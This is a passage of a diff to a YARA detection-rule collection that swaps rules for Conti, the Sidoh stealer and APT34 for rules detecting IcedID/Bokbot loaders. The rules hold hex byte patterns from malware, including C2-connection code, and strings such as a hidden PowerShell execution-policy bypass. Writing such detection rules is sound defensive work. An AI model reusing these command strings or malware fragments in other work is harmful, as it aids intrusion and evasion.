-		$seq2 = { 48 c7 40 70 00 00 00 00 48 8b 48 08 48 89 0c 24 e8 01 47 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 70 e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 9b 6d ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 4a e1 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 48 89 0c 24 e8 75 6d ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 41 4e fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 9c 17 00 00 0f 57 c0 0f 11 84 24 18 02 00 00 0f 11 84 24 28 02 00 00 0f 11 84 24 38 02 00 00 48 8b 84 24 b8 04 00 00 48 8b 88 b0 00 00 00 48 8b 11 48 8b 59 08 48 8b 49 10 48 89 94 24 30 02 00 00 48 89 9c 24 38 02 00 00 48 89 8c 24 40 02 00 00 48 8d 8c 24 18 02 00 00 48 89 0c 24 e8 2d a2 ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 90 e8 7b e0 00 00 48 8d 84 24 18 02 00 00 48 89 04 24 e8 0a a2 ff ff 48 8b 44 24 08 48 8b 4c 24 10 48 8b 54 24 18 48 8b 9c 24 80 01 00 00 48 89 1c 24 c6 44 24 08 16 48 89 44 24 10 48 89 4c 24 18 48 89 54 24 20 e8 76 4d fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 66 0f 1f 44 00 00 0f 85 ab 16 00 00 48 8b 84 24 b8 04 00 00 48 8b 48 10 80 79 53 00 0f 85 a9 15 00 00 48 8b 48 18 48 8b 51 20 48 8b 0a 48 8b 9c 24 80 01 00 00 0f b7 73 40 66 89 34 24 ff d1 48 8b 44 24 08 48 89 84 24 f8 00 00 00 48 8b 4c 24 10 48 89 8c 24 38 01 00 00 48 8b 58 20 48 8b b4 24 80 01 00 00 48 8b 7e 48 4c 8b 84 24 b8 04 00 00 4d 8b 88 b0 00 00 00 4d 8b 50 08 4d 8b 58 10 48 89 0c 24 48 89 7c 24 08 4c 89 4c 24 10 4c 89 54 24 18 4c 89 5c 24 20 ff d3 48 8b 44 24 28 48 8b 4c 24 30 48 8b 5c 24 38 48 83 7c 24 30 00 0f 85 c0 14 00 00 48 85 c0 0f 84 93 00 00 00 48 89 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 7b 13 00 00 48 8b 84 24 c0 01 00 00 48 89 04 24 48 89 4c 24 08 48 89 54 24 10 48 89 5c 24 18 e8 2c df 00 00 48 8b 84 24 30 01 00 00 48 8b 08 48 8b 50 08 48 8b 58 10 48 85 c9 0f 84 21 12 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 c6 44 24 08 16 48 89 4c 24 10 48 89 54 24 18 48 89 5c 24 20 e8 2b 4c fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 c6 11 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 90 0f 8d 0b 10 00 00 31 c9 48 89 8c 24 78 01 00 00 48 8d 05 e9 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 4e cd e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 c0 01 00 00 48 89 0c 24 48 89 44 24 08 48 c7 44 24 10 04 00 00 00 48 c7 44 24 18 04 00 00 00 0f 1f 00 e8 5b de 00 00 48 8d 05 94 5c 24 00 48 89 04 24 48 c7 44 24 08 04 00 00 00 48 c7 44 24 10 04 00 00 00 e8 f9 cc e2 ff 48 8b 44 24 18 c6 00 0e 48 8b 8c 24 80 01 00 00 48 89 0c 24 c6 44 24 08 16 48 89 44 24 10 48 c7 44 24 18 04 00 00 00 48 c7 44 24 20 04 00 00 00 e8 44 4b fe ff 48 8b 44 24 30 48 8b 4c 24 38 48 83 7c 24 30 00 0f 85 1f 0f 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 66 90 e8 bb 43 fe ff 48 8b 44 24 10 48 8b 4c 24 18 48 83 7c 24 10 00 0f 85 d6 0e 00 00 48 8b 84 24 80 01 00 00 48 89 04 24 e8 34 4c fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 10 48 8b 5c 24 10 48 8b 74 24 08 48 8b 7c 24 08 48 83 7c 24 18 00 0f 85 7b 0e 00 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 83 b9 90 00 00 00 01 0f 8c 55 0e 00 00 48 8d 0d e9 3f 26 00 66 0f 1f 84 00 00 00 00 00 48 39 cf 0f 85 30 0e 00 00 48 89 94 24 b8 01 00 00 0f 85 4f 0d 00 00 48 89 14 24 0f 1f 44 00 00 e8 db 9e ff ff 48 8b 84 24 c0 01 00 00 48 89 04 24 e8 2a dd 00 00 48 c7 84 24 80 03 00 00 00 00 00 00 48 8d bc 24 88 03 00 00 0f 57 c0 48 8d 7f f0 66 0f 1f 84 00 00 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 de c6 e4 ff 48 8b 6d 00 48 8b 84 24 b8 01 00 00 48 8b 48 18 48 8b 50 20 48 8b 58 28 48 89 8c 24 80 03 00 00 48 89 94 24 88 03 00 00 48 89 9c 24 90 03 00 00 48 8b 8c 24 80 01 00 00 48 89 0c 24 48 8b 94 24 80 03 00 00 48 89 54 24 08 48 8d 7c 24 10 48 8d b4 24 88 03 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 ca c9 e4 ff 48 8b 6d 00 e8 43 27 00 00 48 8b 84 24 80 00 00 00 48 8b 8c 24 88 00 00 00 48 83 bc 24 80 00 00 00 00 0f 85 4a 0c 00 00 48 8b 94 24 b8 01 00 00 48 83 7a 20 00 0f 84 26 0c 00 00 48 8b 94 24 80 01 00 00 48 8b 8a 98 00 00 00 48 8b 9a 90 00 00 00 48 85 c9 0f 86 7e 13 00 00 48 8b 03 48 8b 88 a0 00 00 00 48 8b 80 a8 00 00 00 48 89 8c 24 f0 00 00 00 48 89 84 24 20 01 00 00 48 89 14 24 e8 88 4a fe ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 08 48 8b 5c 24 10 48 83 7c 24 18 00 0f 85 9d 0b 00 00 48 8b 84 24 f0 00 00 00 48 8b 8c 24 20 01 00 00 48 89 94 24 00 01 00 00 48 89 8c 24 20 01 00 00 48 89 84 24 f0 00 00 00 48 89 9c 24 40 01 00 00 48 8b b4 24 80 01 00 00 48 8b 7e 48 48 83 }
-		$seq3 = { 48 89 34 24 e8 65 6c fe ff 48 8d bc 24 f8 03 00 00 48 8d 74 24 08 48 89 6c 24 f0 48 8d 6c 24 f0 e8 2f be e4 ff 48 8b 6d 00 48 8b 84 24 80 01 00 00 48 8b 48 48 48 8b 51 58 48 8b 0a 48 89 e7 48 8d b4 24 f8 03 00 00 0f 1f 80 00 00 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 f7 bd e4 ff 48 8b 6d 00 ff d1 48 8b 84 24 b0 00 00 00 48 8b 8c 24 b8 00 00 00 48 83 bc 24 b0 }
+		$sx1 = "-WindowStyle Hidden -ep bypass -file" ascii
+		$sx2 = "BEGINDATA" ascii
+		$sx3 = "GET %s HTTP/1.0" ascii
+		$s5 = "User-Agent:" ascii
+		$s8 = "ALLUSERSPROFILE" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 2 of ($seq*) and 7 of ($str*)
+		( uint16(0)==0x5a4d and filesize <30KB and 2 of ($sx*)) or all of them
 }
-rule ARKBIRD_SOLG_Ran_Conti_Loader_V3_Nov_2020_1 : FILE
+rule TELEKOM_SECURITY_Fake_Gzip_Bokbot_202104
 {
 	meta:
-		description = "Detect Conti V3 loader"
-		author = "Arkbird_SOLG"
-		id = "9541b9f8-befe-5bf4-88ee-b1cc5e92f927"
-		date = "2020-12-15"
-		modified = "2020-12-15"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L1-L22"
+		description = "fake gzip provided by CC"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "538d84d8-aff2-571c-ba60-102f18262434"
+		date = "2021-04-20"
+		modified = "2021-07-08"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L1-L11"
 		license_url = "N/A"
-		logic_hash = "c3c8530e1963c5af8ee93a5d2cc222abbeb3fb7e82ef6de2068795a38dca67aa"
-		score = 50
-		quality = 71
-		tags = "FILE"
-		level = "experimental"
-		hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30"
-		hash2 = "26b2401211769d2fa1415228b4b1305eeeed249a996d149ad83b6fc9c4f703ce"
+		logic_hash = "0f0205234eae1b011b899a59e4430c2de9d913b05efee90ce844a06f1cff04f3"
+		score = 75
+		quality = 70
+		tags = ""
 
 	strings:
-		$seq1 = { 83 ec 1c 68 80 00 00 00 68 54 21 40 00 ff 15 30 20 40 00 85 c0 0f 85 e9 00 00 00 56 57 68 48 21 40 00 89 44 24 14 89 44 24 10 c7 44 24 1c 17 00 00 00 c7 44 24 20 55 1e 00 00 c7 44 24 24 09 04 00 00 ff 15 34 20 40 00 8b 3d 3c 20 40 00 8b f0 68 34 21 40 00 56 ff d7 68 20 21 40 00 56 a3 e4 33 40 00 ff d7 a3 0c 36 40 00 8d 44 24 14 50 6a 03 8d 4c 24 20 51 68 00 00 40 00 ff 15 e4 33 40 00 85 c0 7c 1a 8b 4c 24 14 8d 54 24 0c 52 8d 44 24 14 50 51 68 00 00 40 00 ff 15 0c 36 40 00 68 18 21 40 00 ff 15 70 20 40 00 8b 54 24 10 83 c4 04 50 68 00 10 00 00 52 6a 00 ff 15 38 20 40 00 8b 4c 24 10 8b f0 8b 44 24 0c 50 51 56 e8 4a 00 00 00 8d 54 24 14 52 }
-		$seq2 = { 8b 4c 24 24 8d 44 24 20 50 51 56 e8 1d fe ff ff 83 c4 24 ff d6 8b 54 24 28 5f 89 15 08 36 40 00 5e 33 c0 83 c4 }
-		$s1 = { 3e 35 44 35 4c 35 53 35 58 35 5e 35 64 35 6c 35 72 35 79 35 }
-		$s2 = { 31 07 32 0d 32 25 32 2b 32 30 32 36 32 4c 32 6a 32 }
-		$s3 = "_invoke_watson" fullword ascii
-		$s4 = { 8b 2d bc 36 40 00 0f b6 04 2f 0f b6 da 8b 54 24 14 0f b6 14 13 8d 0c 2f 03 d6 03 c2 99 be 40 03 00 00 f7 fe 0f b6 f2 8d 04 2e e8 7f ff ff ff 8d 43 01 99 f7 7c 24 18 47 81 ff 40 }
+		$gzip = {1f 8b 08 08 00 00 00 00 00 00 75 70 64 61 74 65}
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and all of ($seq*) and 2 of ($s*)
+		$gzip at 0
 }
-rule ARKBIRD_SOLG_Ran_Conti_V3_Nov_2020_1 : FILE
+rule TELEKOM_SECURITY_Win_Iceid_Gzip_Ldr_202104 : FILE
 {
 	meta:
-		description = "Detect Conti V3 ransomware"
-		author = "Arkbird_SOLG"
-		id = "89702af3-664a-5c4a-8d2b-f195f5dddb6f"
-		date = "2020-12-15"
-		modified = "2020-12-15"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L24-L43"
+		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "9d905e90-dfec-596b-bd09-72413df49345"
+		date = "2021-04-12"
+		modified = "2021-07-08"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L14-L38"
 		license_url = "N/A"
-		logic_hash = "2c8f2fd9b155bb4fdb1304b4d7f683bc679780d079d8bbe4fb308f94769f1392"
-		score = 50
-		quality = 75
+		logic_hash = "caf997e623920a230acce8a7256516aceb6a587823e0525a17e5d69d0ed45d12"
+		score = 75
+		quality = 45
 		tags = "FILE"
-		level = "experimental"
-		hash1 = "f092b985b75a702c784f0936ce892595b91d025b26f3387a712b76dcc3a4bc81"
-		hash2 = "35ccc2b71567570bcac62e2f268faca50fa95fad6ac69e74f40856eb8f9ab03d"
 
 	strings:
-		$seq1 = { 45 8c 00 8d 4d 8c c6 45 8d 7e c6 45 8e 4c c6 45 8f 0e c6 45 90 2c c6 45 91 4d c6 45 92 57 c6 45 93 13 c6 45 94 5d c6 45 95 08 c6 45 96 4c c6 45 97 77 c6 45 98 77 89 85 54 ff ff ff c6 45 99 6e 8a 45 8d e8 9f 0b 00 00 6a 6b 68 a8 21 3d be ba 0f 00 00 00 8b f0 e8 3c 3e 00 00 83 c4 08 56 ff d0 c6 45 f4 00 c6 45 f5 5a c6 45 f6 49 c6 45 f7 4c c6 45 f8 0b c6 45 f9 0b c6 45 fa 66 c6 45 fb 4c c6 45 fc 0b c6 45 fd 0b c6 45 fe 3f 89 85 50 ff ff ff 8a 45 f5 80 7d f4 00 75 2b 33 c9 66 0f 1f 84 00 00 00 00 00 8a 44 0d f5 0f b6 c0 83 e8 3f 6b c0 25 99 f7 fb 8d 42 7f 99 f7 fb 88 54 0d f5 41 83 f9 0a 72 e0 6a 6b 68 a8 21 3d be ba 0f 00 00 00 e8 bf 3d 00 00 83 c4 08 8d 4d f5 51 ff d0 c6 85 7c ff ff ff 00 8d 8d 7c ff ff ff c6 85 7d ff ff ff 48 c6 85 7e ff ff ff 17 c6 85 7f ff ff ff 3c c6 45 80 71 c6 45 81 3c c6 45 82 37 c6 45 83 57 c6 45 84 71 c6 45 85 0a c6 45 86 67 c6 45 87 12 c6 45 88 12 89 85 3c }
-		$seq2 = { 6c ff ff ff 00 8d 8d 6c ff ff ff c6 85 6d ff ff ff 02 c6 85 6e ff ff ff 17 c6 85 6f ff ff ff 72 c6 85 70 ff ff ff 3a c6 85 71 ff ff ff 16 c6 85 72 ff ff ff 73 c6 85 73 ff ff ff 10 c6 85 74 ff ff ff 78 c6 85 75 ff ff ff 1c c6 85 76 ff ff ff 00 c6 85 77 ff ff ff 39 c6 85 78 ff ff ff 39 89 85 48 ff ff ff c6 85 79 ff ff ff 71 8a 85 6d ff ff ff e8 1d 08 00 00 6a 6b 68 a8 21 3d }
-		$seq3 = { 8b d9 89 9d b8 fd ff ff c7 85 d4 fd ff ff 0b 01 00 00 c7 85 d8 fd ff ff 0b 02 00 00 c6 85 c4 fd ff ff 00 c6 85 c5 fd ff ff 19 c6 85 c6 fd ff ff 0d c6 85 c7 fd ff ff 27 c6 85 c8 fd ff ff 1f c6 85 c9 fd ff ff 0d c6 85 ca fd ff ff 1b c6 85 cb fd ff ff 28 c6 85 cc fd ff ff 26 c6 85 cd fd ff ff 1e c6 85 ce fd ff ff 0b c6 85 cf fd ff ff 1b c6 85 d0 fd ff ff 1b 8d 8d c4 fd ff ff c6 85 d1 fd }
-		$seq4 = { c6 85 00 ff ff ff 00 c6 85 01 ff ff ff 4b c6 85 02 ff ff ff 1f c6 85 03 ff ff ff 35 c6 85 04 ff ff ff 1f c6 85 05 ff ff ff 23 c6 85 06 ff ff ff 1f c6 85 07 ff ff ff 68 c6 85 08 ff ff ff 1f c6 85 09 ff ff ff 38 c6 85 0a ff ff ff 1f c6 85 0b ff ff ff 10 c6 85 0c ff ff ff 1f c6 85 0d ff ff ff 66 c6 85 0e ff ff ff 1f c6 85 0f ff ff ff 2a c6 85 10 ff ff ff 1f c6 85 11 ff ff ff 43 c6 85 12 ff ff ff 1f c6 85 13 ff ff ff 23 c6 85 14 ff ff ff 1f c6 85 15 ff ff ff 10 c6 85 16 ff ff ff 1f c6 85 17 ff ff ff 07 c6 85 18 ff ff ff 1f c6 85 19 ff ff ff 51 c6 85 1a ff ff ff 1f c6 85 1b ff ff ff 1c c6 85 1c ff ff ff 1f c6 85 1d ff ff ff 43 c6 85 1e ff ff ff 1f c6 85 1f ff ff ff 10 c6 85 20 ff ff ff 1f c6 85 21 ff ff ff 61 c6 85 22 ff ff ff 1f c6 85 23 ff ff ff 74 c6 85 24 ff ff ff 1f c6 85 25 ff ff ff 41 c6 85 26 ff ff ff 1f c6 85 27 ff ff ff 10 c6 85 28 ff ff ff 1f c6 85 29 ff ff ff 59 c6 85 2a ff ff ff 1f c6 85 2b ff ff ff 43 c6 85 2c ff ff ff 1f c6 85 2d ff ff ff 38 c6 85 2e ff ff ff 1f c6 85 2f ff ff ff 2b c6 85 30 }
+		$internal_name = "loader_dll_64.dll" fullword
+		$string0 = "_gat=" wide
+		$string1 = "_ga=" wide
+		$string2 = "_gid=" wide
+		$string3 = "_u=" wide
+		$string4 = "_io=" wide
+		$string5 = "GetAdaptersInfo" fullword
+		$string6 = "WINHTTP.dll" fullword
+		$string7 = "DllRegisterServer" fullword
+		$string8 = "PluginInit" fullword
+		$string9 = "POST" wide fullword
+		$string10 = "aws.amazon.com" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize >80KB and all of ($seq*)
+		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
 }
-rule ARKBIRD_SOLG_MAL_Sidoh_Stealer_Aug_2021_1 : FILE
+rule TELEKOM_SECURITY_Win_Iceid_Core_Ldr_202104 : FILE
 {
 	meta:
-		description = "Detect Sidoh Stealer used by RYUK group"
-		author = "Arkbird_SOLG"
-		id = "b4661304-6dfa-5c33-95f2-8694271b9e58"
-		date = "2021-08-31"
-		modified = "2021-09-01"
-		reference = "https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-31/Sidoh/MAL_Sidoh_Stealer_Aug_2021_1.yara#L1-L22"
+		description = "2021 loader for Bokbot / Icedid core (license.dat)"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "f096e18d-3a31-5236-b3c3-0df39b408d9a"
+		date = "2021-04-13"
+		modified = "2021-07-08"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L40-L62"
 		license_url = "N/A"
-		logic_hash = "baeea14c6be42d64d3ca68298bf6ced34c9587fcda91471945cfc7ed1fe267bd"
+		logic_hash = "d814dbaffb38dc71aaf373512246fd6d811750d526c4afffb0b8018329dcdd90"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "a1ce52437252001b56c9ccd2d2da46240dc38db8074a5ed39a396e8c8e387fc2"
-		hash2 = "c64269a64b64b20108df89c4f1a415936c9d9923f8761d0667aa8492aa057acb"
-		hash3 = "e6762cb7d09cd90d5469e3c3bfc3b47979cd67aa06c06e893015a87b0348c32c"
-		hash4 = "cc4a0b4080844e20fb9535679f7b09a3e2449729ce1815d1e5a64272b0225465"
-		tlp = "White"
-		adversary = "RYUK (RAAS)"
 
 	strings:
-		$s1 = { 68 88 13 00 00 ff 15 ?? 30 41 00 ff 76 04 ff 15 ?? 30 41 00 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 83 c4 0c ff 15 ?? 30 41 00 8b f8 8b f3 8b d7 8b ce d3 ea f6 c2 01 74 34 8d 46 41 6a 3a 66 a3 ?? f6 41 00 58 66 a3 ?? f6 41 00 33 c0 68 ?? f6 41 00 66 a3 ?? f6 41 00 ff 15 ?? 30 41 00 83 f8 05 74 0a b9 ?? f6 41 00 e8 ?? ?? 00 00 46 83 fe 1a 7c bb 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 8b 3d ?? 30 41 00 8d 44 24 28 83 c4 0c 89 5c 24 1c 6a 01 50 53 ff d7 8b 35 ?? 30 41 00 6a 04 68 00 10 00 00 ff 74 24 24 53 ff d6 8b d8 8d 44 24 1c 6a 01 50 53 89 5c 24 30 ff d7 6b 0b 18 6a 04 68 00 10 00 00 51 33 c9 51 ff d6 68 00 40 00 00 6a 40 89 44 24 38 ff 15 ?? 30 41 00 33 f6 89 44 24 2c 89 74 24 }
-		$s2 = { 8b ca c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 33 f6 56 56 56 6a 01 56 ff 15 ?? 31 41 00 a3 ?? ?? 42 00 8b fe 85 c0 74 4e 56 68 00 00 00 08 6a 01 68 ?? ?? 41 00 68 ?? ec 41 00 6a 15 ff 75 f8 50 ff 15 ?? 31 41 00 8b f8 85 ff 74 42 56 6a 02 8d 85 f0 fc ff ff 50 53 57 ff 15 ?? 31 41 00 85 c0 75 0f ff 15 ?? 30 41 00 8b d8 a1 ?? ?? 42 00 eb 08 a1 ?? ?? 42 00 33 db 43 8b 35 ?? 31 41 00 50 ff d6 57 ff d6 8b c3 5f 5e 5b 8b e5 }
-		$s3 = { 55 8b ec 83 ec 58 53 8b 1d ?? 30 41 00 56 57 6a 04 68 00 10 00 00 6a 02 6a 00 89 55 f0 8b f1 ff d3 8b f8 85 ff 75 08 83 c8 ff e9 0f 01 00 00 56 68 ?? ?? 41 00 57 e8 93 ff ff ff 83 65 f8 00 8d 45 f8 50 6a 00 57 ff 15 ?? 31 41 00 83 c4 18 8b f0 83 7d f8 00 89 75 f4 74 04 6a fd eb 33 83 65 ac 00 8d 45 ac 50 ff 15 ?? 31 41 00 8d 45 ac 50 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 83 c4 14 83 7d c8 00 77 10 72 06 }
-		$s4 = { 6a 04 68 00 10 00 00 ff 75 c4 6a 00 ff d3 8b d8 85 db 75 1a 68 00 80 00 00 50 57 ff 15 ?? 30 41 00 56 ff 15 ?? 31 41 00 59 6a fb 58 eb 79 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 ff 75 c8 8b f0 ff 75 c4 53 56 ff 15 ?? 31 41 00 56 ff 15 ?? 31 41 00 ff 75 f4 ff 15 ?? 31 41 00 ff 75 08 8b 55 c4 8b cb ff 75 f0 e8 3b 02 00 00 8b f0 83 c4 2c 85 f6 75 14 83 7d 08 05 75 0e 8b 55 c4 51 8b cb e8 b3 09 00 00 59 8b f0 68 00 80 00 00 6a 00 53 ff 15 ?? 30 41 00 68 00 80 00 00 6a 00 57 ff 15 ?? 30 41 00 8b c6 5f 5e 5b 8b e5 }
+		$internal_name = "sadl_64.dll" fullword
+		$string0 = "GetCommandLineA" fullword
+		$string1 = "LoadLibraryA" fullword
+		$string2 = "ProgramData" fullword
+		$string3 = "SHLWAPI.dll" fullword
+		$string4 = "SHGetFolderPathA" fullword
+		$string5 = "DllRegisterServer" fullword
+		$string6 = "update" fullword
+		$string7 = "SHELL32.dll" fullword
+		$string8 = "CreateThread" fullword
 
 	condition:
-		uint16(0)==0x5A4D and filesize >20KB and all of ($s*)
+		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name and 5 of them ) or all of them
 }
-rule ARKBIRD_SOLG_APT_APT34_RDAT_Feb_2021_1 : FILE
+rule TELEKOM_SECURITY_Win_Iceid_Core_202104 : FILE
 {
 	meta:
-		description = "Detect Installer from APT34 group"
-		author = "Arkbird_SOLG"
-		id = "32f28376-e792-543b-82f7-36ec627b4fab"
-		date = "2021-02-26"
-		modified = "2021-02-27"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-26/APT34/APT_APT34_RDAT_Feb_2021_1.yar#L1-L19"
+		description = "2021 Bokbot / Icedid core"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "526a73da-415f-58fe-bb5f-4c3df6b2e647"
+		date = "2021-04-12"
+		modified = "2021-07-08"
+		reference = "https://github.com/telekom-security/malware_analysis/"
+		source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/icedid/icedid_20210507.yar#L64-L88"
 		license_url = "N/A"
-		logic_hash = "61ea6eceda0c7d6ec15db87891c4322002c112383c7a4d0089e35db9636bbe73"
-		score = 50
-		quality = 73
+		logic_hash = "c208b4122159d24d010e2913c515d2ff730b30306f787d703816b5af1522ae88"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		level = "experimental"
-		hash1 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c"
 
 	strings:
-		$s1 = "XAVVQxcVAVIfCBYWARQfEBldEU4ZF1JbUFJYCgpCTg==" fullword ascii
-		$s2 = { 0b da 89 5c 24 40 40 38 3d 55 56 }
-		$s3 = { 57 4e 44 31 23 31 2e 32 }
-		$s4 = { 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 }
-		$seq_Service = { 4c 8b dc 57 48 81 ec e0 02 00 00 48 c7 44 24 70 fe ff ff ff 49 89 5b 10 49 89 73 18 48 8b 05 65 12 0a 00 48 33 c4 48 89 84 24 d0 02 00 00 48 8b d9 48 89 4c 24 78 41 b8 04 01 00 00 49 8d 93 d8 fd ff ff 33 c9 ff 15 9d 20 07 00 85 c0 75 19 ff 15 33 21 07 00 8b d0 48 8d 0d 8a b6 08 00 e8 1d f7 ff ff e9 a5 01 00 00 33 f6 48 89 b4 24 90 00 00 00 48 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 d4 9f ff ff 66 39 b4 24 c0 00 00 00 75 05 44 8b c6 eb 1f 48 8d 84 24 c0 00 00 00 49 83 c8 ff 66 0f 1f 84 00 00 00 00 00 49 ff c0 66 42 39 34 40 75 f6 48 8d 94 24 c0 00 00 00 48 8d 8c 24 80 00 00 00 e8 41 05 00 00 90 4c 8b c3 48 8d 8c 24 a0 00 00 00 e8 60 0a 00 00 90 49 83 c9 ff 45 33 c0 48 8b d0 48 8d 8c 24 80 00 00 00 e8 a8 07 00 00 90 45 33 c0 b2 01 48 8d 8c 24 a0 00 00 00 e8 55 9f ff ff 33 d2 33 c9 41 b8 3f 00 0f 00 ff 15 d5 1e 07 00 48 8b f8 48 85 c0 75 19 ff 15 5f 20 07 00 8b d0 48 8d 0d de b5 08 00 e8 49 f6 ff ff e9 be 00 00 00 4c 8d 8c 24 80 00 00 00 48 83 bc 24 98 00 00 00 08 4c 0f 43 8c 24 80 00 00 00 48 8d 15 33 7a 0a 00 4c 8b c2 48 83 3d 40 7a 0a 00 08 4c 0f 43 05 20 7a 0a 00 48 0f 43 15 18 7a 0a 00 48 89 74 24 60 48 89 74 24 58 48 89 74 24 50 48 89 74 24 48 48 89 74 24 40 4c 89 4c 24 38 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 c7 44 24 20 10 00 00 00 41 b9 ff 01 0f 00 48 8b c8 ff 15 23 1e 07 00 48 8b f0 48 85 c0 75 16 ff 15 bd 1f 07 00 8b d0 48 8d 0d 5c b5 08 00 e8 a7 f5 ff ff eb 15 48 8d 0d 6e b5 08 00 e8 99 f5 ff ff 48 8b ce ff 15 e0 1d 07 00 48 8b cf ff 15 d7 1d 07 00 90 45 33 c0 b2 01 48 8d 8c 24 80 00 00 00 e8 54 9e ff ff 90 45 33 c0 b2 01 48 8b cb e8 46 9e ff ff 48 8b 8c 24 d0 02 00 00 48 33 cc e8 d6 94 02 00 4c 8d 9c 24 e0 02 00 00 49 8b 5b 18 49 8b 73 20 49 8b e3 5f }
-		$seq_ConnectC2 = { 33 c0 48 89 44 24 70 48 89 44 24 78 66 89 7c 24 70 8d 48 35 ff 15 2f 62 07 00 66 89 44 24 72 48 8b cb e8 ea dc ff ff 48 8b c8 ff 15 29 62 07 00 89 44 24 74 49 8b cd e8 d5 dc ff ff 48 8b d0 c7 44 24 28 10 00 00 00 48 8d 44 24 70 48 89 44 24 20 45 33 c9 45 8b 45 10 49 8b cc ff 15 e0 61 07 00 83 f8 ff 75 12 45 33 c0 48 8d 15 6b cb 08 00 48 8b ce e8 79 de ff ff 4c 89 a4 24 a8 00 00 00 c7 84 24 a0 00 00 00 01 00 00 00 48 c7 44 24 38 0a 00 00 00 41 8d 4c 24 01 48 8d 44 24 38 48 89 44 24 20 45 33 c9 45 33 c0 48 8d 94 24 a0 00 00 00 ff 15 aa 61 07 00 83 f8 01 0f 94 c0 84 c0 0f 84 0f 01 00 00 45 33 c9 41 b8 00 02 00 00 48 8d 94 24 b0 02 00 00 49 8b cc ff 15 72 61 07 00 4c 63 c0 85 c0 0f 8e ea 00 00 00 41 8b c8 49 8b d0 49 8b c0 45 85 c0 0f 8e d8 00 00 00 0f 1f 44 00 00 80 bc 04 b0 02 00 00 00 0f 85 b7 00 00 00 48 3b d0 0f 84 ae 00 00 00 85 c9 0f 84 b4 00 00 00 83 c1 03 41 3b c8 0f 8d a8 00 00 00 48 8d 9c 24 b0 02 00 00 48 03 da 48 63 c1 48 8d bc 24 b0 02 00 00 48 03 f8 4c 89 b4 24 90 00 00 00 4c 89 b4 24 98 00 00 00 45 33 c0 33 d2 48 8d 8c 24 80 00 00 00 e8 0a dd ff ff 48 3b fb 74 17 48 2b df 4c 8b c3 48 8b d7 48 8d 8c 24 80 00 00 00 e8 6f dd 